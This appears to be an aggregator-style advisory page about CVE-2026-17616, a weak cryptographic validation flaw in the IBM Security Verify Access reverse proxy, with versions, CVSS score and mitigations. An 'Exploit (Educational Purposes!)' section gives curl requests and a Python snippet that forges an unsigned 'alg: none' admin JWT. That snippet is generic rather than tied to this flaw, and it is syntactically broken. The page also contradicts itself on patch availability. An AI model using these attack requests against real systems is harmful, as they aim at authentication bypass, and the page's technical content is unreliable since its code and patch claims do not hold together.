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CVE-2026-17616 is a vulnerability affecting IBM Security Verify Access and IBM Verify Identity Access products. The issue resides in the Reverse Proxy component under certain configurations. In these specific setups, the proxy provides weaker than expected cryptographic validation of user-supplied data. This weakness stems from improper handling or verification of cryptographic signatures or tokens passed through the proxy. An attacker could exploit this by crafting malicious requests with tampered cryptographic material. The proxy, failing to properly validate the integrity or authenticity of this data, may accept it as legitimate. This could allow an attacker to bypass security controls and potentially decrypt highly sensitive information. The vulnerability impacts a wide range of versions: IBM Security Verify Access 10.0 through 10.0.9.2, IBM Verify Identity Access 11.0 through 11.0.3, and IBM Verify Identity Access Container 11.0 through 11.0.3. The weakness is classified as a cryptographic issue (CWE-327: Use of a Broken or Risky Cryptographic Algorithm). Exploitation does not require authentication in all scenarios, making it accessible to remote attackers. The vulnerability was published by IBM and assigned a CVSS v3.1 base score of 6.8, indicating a MEDIUM severity. The NVD published the CVE on August 12, 2026, with the last modification on August 17, 2026. This issue poses a significant risk to the confidentiality of data processed by affected reverse proxy configurations. Administrators are strongly advised to review their IBM Security Verify Access and Verify Identity Access deployments.
DailyCVE Form:
Platform: IBM Security Verify Access
Version: 10.0-10.0.9.2 / 11.0-11.0.3
Vulnerability: Weak cryptographic validation
Severity: MEDIUM (CVSS 6.8)
date: August 12, 2026
Prediction: Patch expected Q4 2026
What Undercode Say:
Check IBM Security Verify Access version /opt/IBM/ISVA/bin/versionInfo.sh Check Reverse Proxy cryptographic settings grep -r "crypto" /opt/IBM/ISVA/proxy/conf/ Verify if patch is applied grep "CVE-2026-17616" /opt/IBM/ISVA/logs/update.log
Exploit: (Educational Purposes!)
Craft a request with tampered cryptographic token
curl -X GET "https://target.isva.com/protected/resource" \
-H "Authorization: Bearer [bash]" \
-H "X-Forwarded-For: 127.0.0.1"
Attempt to bypass validation using modified JWT
python3 -c "
import jwt
import base64
Tamper with algorithm to 'none'
header = {'alg': 'none', 'typ': 'JWT'}
payload = {'user': 'admin', 'exp': 9999999999}
token = base64.urlsafe_b64encode(str(header).encode()).decode() + '.' + base64.urlsafe_b64encode(str(payload).encode()).decode() + '.'
print(token)
"
Send request with manipulated cryptographic data
curl -X POST "https://target.isva.com/api/auth" \
-H "Content-Type: application/json" \
-d '{"token": "[bash]"}'
Protection:
- Apply IBM security patches immediately upon release.
- Upgrade to IBM Security Verify Access 10.0.9.2 IF1 or later.
- Upgrade to IBM Verify Identity Access 11.0.3 IF1 or later.
- Harden Reverse Proxy cryptographic validation settings.
- Monitor proxy logs for anomalous cryptographic errors.
- Restrict network access to Reverse Proxy endpoints.
Impact:
- Confidentiality: Attackers can decrypt sensitive information transmitted through the proxy.
- Integrity: Tampered cryptographic data may be accepted as valid.
- Availability: No direct impact; however, compromised data could lead to further attacks.
- Authentication Bypass: Potential for unauthorized access to protected resources.
- Risk Score: CVSS 6.8 (MEDIUM) – requires specific proxy configurations.
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Sources:
Reported By: nvd.nist.gov
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